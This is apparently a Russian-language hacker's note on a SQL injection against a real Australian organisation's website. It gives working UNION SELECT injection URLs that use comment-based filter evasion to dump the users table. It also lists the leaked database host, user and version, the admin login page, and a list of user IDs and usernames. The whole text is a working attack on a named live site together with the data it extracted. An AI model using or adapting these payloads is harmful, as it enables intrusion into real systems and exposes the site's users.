http://www.adac.org.au/article.php?newsId=99999999945/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11/*

database() = adacorg@64.13.232.25
user() = adac_org_au_-_content
version() = 4.1.11-Debian_4sarge7

вход в админку
www.adac.org.au/intranet.php

не подобрал поле пароля ..

пользователи:
5:jimmy
2:francz
3:helen
4:scott
6:byron
7:katie
8:warren
9:geoff
10:sharon

http://www.adac.org.au/article.php?newsId=99999999945/**/union/**/select/**/1,2,aes_decrypt(aes_encrypt(concat_ws(0x3a,userid, username),0x71),0x71),4,5,6,7,8,9,10,11/**/from/**/users/**/limit/**/8,1/*